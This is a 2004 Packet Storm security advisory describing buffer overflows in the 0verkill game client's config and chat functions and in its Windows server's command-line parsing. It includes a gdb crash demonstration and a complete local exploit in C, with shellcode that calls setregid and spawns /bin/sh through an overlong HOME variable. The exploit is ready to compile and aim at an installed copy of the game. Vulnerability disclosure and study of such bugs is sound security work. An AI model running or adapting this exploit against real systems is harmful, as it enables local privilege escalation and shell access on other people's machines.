overkill.txt

2004-02-02T00:00:00
ID PACKETSTORM:32600
Type packetstorm
Reporter Adam Zabrocki
Modified 2004-02-02T00:00:00

Description

                                        
                                            `0verkill - little simple vulnerability.  
  
I. Entry.  
  
Vulnerability is game 0verkill. There is some little bugs in   
clinet / server.  
  
II. Vulnerability details.  
  
a) client:  
  
Vulnerability function is load_cfg(), save_cfg() and maybe   
send_message().  
There is simple buffer overflow bugs:  
  
"in file client.c"  
void load_cfg(char *host,char *name,int *color)  
{  
...  
...  
unsigned char txt[256];  
  
#ifndef WIN32  
sprintf(txt,"%s/%s",getenv("HOME"),CFG_FILE); //   
first overflow  
#else  
sprintf(txt,"./%s",CFG_FILE);  
#endif  
...  
...  
a=strlen(txt);  
...  
...  
memcpy(host,txt,strlen(txt)+1); //   
second overflow  
...  
...  
a=strlen(txt);  
...  
...  
memcpy(name,txt,strlen(txt)+1); //   
third overflow  
...  
...  
}  
  
"in file client.c"  
void save_cfg(char *host,char *name,int color)  
{  
...  
...  
unsigned char txt[256];  
  
#ifndef WIN32  
sprintf(txt,"%s/%s",getenv("HOME"),CFG_FILE); //   
overflow  
#else  
sprintf(txt,"./%s",CFG_FILE);  
#endif  
...  
...  
}   
  
"in file client.c"  
void send_message(char *msg)  
{  
static unsigned char packet[MAX_MESSAGE_LENGTH+2];  
int a;  
  
a=strlen(msg)+1;  
packet[0]=P_MESSAGE;  
memcpy  
(packet+1,msg,a); // maybe   
it's possible overflow  
send_packet(packet,a+1,(struct sockaddr *)  
(&server),my_id,0);  
}  
  
First we look for function load_cfg(). If we compiled 0verkill   
on other system that Windows  
we can set HOME and we can do overflow array txt (it's first   
overflow). Look:  
  
root@darkstar:~root/all/gry/0verkill# HOME=`perl -  
e 'print "A"x300'`  
root@darkstar:~root/all/gry/0verkill# gdb ./0verkill  
GNU gdb 5.0  
Copyright 2000 Free Software Foundation, Inc.  
GDB is free software, covered by the GNU General Public License,   
and you are  
welcome to change it and/or distribute copies of it under   
certain conditions.  
Type "show copying" to see the conditions.  
There is absolutely no warranty for GDB. Type "show warranty"   
for details.  
This GDB was configured as "i386-slackware-linux"...  
(gdb) r  
Starting program: /root/root/all/gry/0verkill/./0verkill  
  
Program received signal SIGSEGV, Segmentation fault.  
0x41414141 in ?? ()  
(gdb) i r eip  
eip 0x41414141 0x41414141  
(gdb)  
  
OK. Now we look for second and third bug... function memcpy()   
copy from array txt to host (in second  
bug) and from txt to name (thirs bug) bytes. We have controle on   
array txt by setting HOME. Memcpy copy  
strlen(txt)+1 bytes. Host and name is argument for load_cfg()   
function. This function is called by main()  
and there is declarate host and name array:  
  
"in file client.c"  
int main(int argc,char **argv)  
{  
...  
...  
char host[MAX_HOST_LEN+1];  
char name[MAX_NAME_LEN+1];  
...  
...  
memset(host,0,MAX_HOST_LEN+1);  
...  
...  
load_cfg(host,name,&color);  
...  
...  
}  
  
Now looked for file cfg.h:  
  
"in file cfg.h"  
...  
...  
#define MAX_NAME_LEN 24 /* maximal length of player's name */  
#define MAX_HOST_LEN 64 /* maximal length of hostname */  
...  
...  
" -=[ EOF ]=- "  
  
... and now look for function save_cfg(). There is bug like that   
first bug in function load_cfg().  
Now look for function send_message(). There is bad using   
function memcpy() (like that second and third  
bug in load_cfg() function) and maybe it is possible to do   
buffer overflow atack. This function read  
argument *msg. Call to function send_message() is in function   
play(). Looked:  
  
"in file client.c"  
void play(void)  
{  
...  
...  
char string[80];  
...  
...  
if (chat)  
{  
...  
...  
case 1:  
char 0;  
send_message(string);  
...  
...  
}  
...  
...  
}  
  
MAX_MESSAGE_LENGTH is defined i cfg.h file too look:  
  
"in file cfg.h"  
...  
...  
#define MAX_MESSAGE_LENGTH 70 /* maximal length of chat message   
*/  
...  
...  
" -=[ EOF ]=- "  
  
packet is array 72, string is array 80 and maybe there is   
possible in this situation in function  
send_message() do buffer overflow atack becouse string is   
argument for send_message() function.  
  
b) server, compiled on Windows platform  
  
There is bug in function parse_command_line() and maybe in   
function GetLastErrorText(). Looked for  
function parse_command_line():  
  
"in file server.c"  
void parse_command_line(int argc,char **argv)  
{  
int a;  
...  
#ifdef WIN32  
a=getopt(argc,argv,"hl:np:ri:Ic");  
...  
...  
#endif  
switch(a)  
{  
...  
...  
#ifdef WIN32  
...  
...  
case 'i': { /* install service */  
char username[80],  
*pass=NULL;  
...  
...  
if ( (pass=strchr  
(optarg, '/'))==NULL ) {  
strcpy(username,   
optarg);  
memcpy(username,   
optarg, sizeof(username)-1);  
...  
...  
}  
  
We have simple bufer overflow by call strcpy(). I don't know why   
autor 2 times copying argument  
in to the array. First by call strcpy() and second time by call   
memcpy()...  
Function GetLastErrorText() have call sprintf that in theory   
could do buffer overflow, but i couldn't  
find how to fill argument for sprintf() who in theory could do   
overflow. Look:  
  
"in file server.c"  
LPTSTR GetLastErrorText(LPTSTR lpszBuf, DWORD dwSize) {  
...  
LPTSTR lpszTemp=NULL;  
...  
...  
dwRet=FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |   
FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ARGUMENT_ARRAY, NULL,  
globErr, LANG_NEUTRAL, (LPTSTR)&lpszTemp, 0,   
NULL);  
...  
...  
sprintf(lpszBuf, ": %u: %s", globErr,   
lpszTemp); // there :P  
...  
...  
}  
  
IpszBuf is argument for function GetLastErrorText(), lpszTemp is   
filled prbably by function FormatMessage();  
but i couldn't find her.  
  
III. Exploit.  
  
Simple exploit for local bug in client 0verkill:  
  
/*  
* Simple local exploit for 0verkill by pi3 (pi3ki31ny)  
* Greetz: [greetz on my web] && other my friends (you know who   
you are)  
*  
* ...::: -=[ www.pi3.int.pl ]=- :::...  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <getopt.h>  
  
#define PATH "./0verkill"  
#define BUFS 300  
  
/* ...::: -=[ www.pi3.int.pl ]=- :::... */  
  
char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68  
\x3a"  
"\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20  
\x5d"  
"\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69  
\x68"  
"\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68  
\x3a\x3a"  
"\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04  
\xcd"  
"\x80"  
  
/* setregid (20,20) */  
  
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0  
\x47"  
"\xcd\x80"  
  
/* exec /bin/sh */  
  
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62  
\x69"  
"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0  
\x0b\xcd"  
"\x80"  
  
/* exit(0) */  
  
"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";  
  
long ret_ad(char *a1, char *a2) {  
  
return (0xbffffffa-strlen(a1)-strlen(a2));  
}  
  
int ussage(char *arg) {  
  
printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ]  
=- :::...\n");  
printf("\n\tUssage:\n\t[+] %s [options]\n  
-? <this help screen>  
-o <offset>  
-p PATH\n\n",arg);  
exit(-1);  
}  
  
int main(int argc, char *argv[]) {  
  
long ret,*buf_addr;  
char *buf,*path=PATH;  
int i,opt,offset=0;  
FILE *fp;  
  
while((opt = getopt(argc,argv,"p:o:?")) != -1) {  
switch(opt) {  
  
case 'o':  
  
offset=atoi(optarg);  
break;  
  
case 'p':  
  
path=optarg;  
break;  
  
case '?':  
default:  
  
ussage(argv[0]);  
break;  
}  
}  
  
if ( (fp=fopen(path,"r"))==NULL) {  
printf("\n*\tI can\'t open path to victim! - %  
s\t*\n\n",path);  
ussage(argv[0]);  
} fclose(fp);  
  
if (!(buf=(char*)malloc(BUFS))) {  
printf("\nI can\'t locate memory! - buf\n");  
exit(-1);  
}  
  
printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ]  
=- :::...\n");  
printf("\n\t[+] Bulding buffors!\n");  
  
ret=ret_ad(shellcode,path);  
ret+=offset;  
  
printf("\t[+] Using adres 0x%x\n",ret);  
  
buf_addr=(long*)buf;  
  
for(i=0;i<BUFS;i+=4) {  
*(buf_addr) = ret; buf_addr++;  
}  
memcpy(buf, shellcode, strlen(shellcode));  
  
printf("\nExecuting the vuln program - %s\n\n",path);  
  
setenv("HOME", buf, 1);  
execl(path,path, 0);  
return 0;  
}  
  
--  
pi3 (pi3ki31ny) - pi3ki31ny@wp.pl  
http://www.pi3.int.pl  
  
"Wartosc czlowieka niejest wymierna do jego wiedzy lecz do   
wartosci ktore ceni najbardziej"  
  
  
----------------------------------------------------  
Wygraj markowe telefony! Mamy a¿ 90 nagród do rozdania!  
http://klik.wp.pl/?adr=http%3A%2F%2Fsms.wp.pl%2Falcatelkonkurs.html&sid=104  
  
`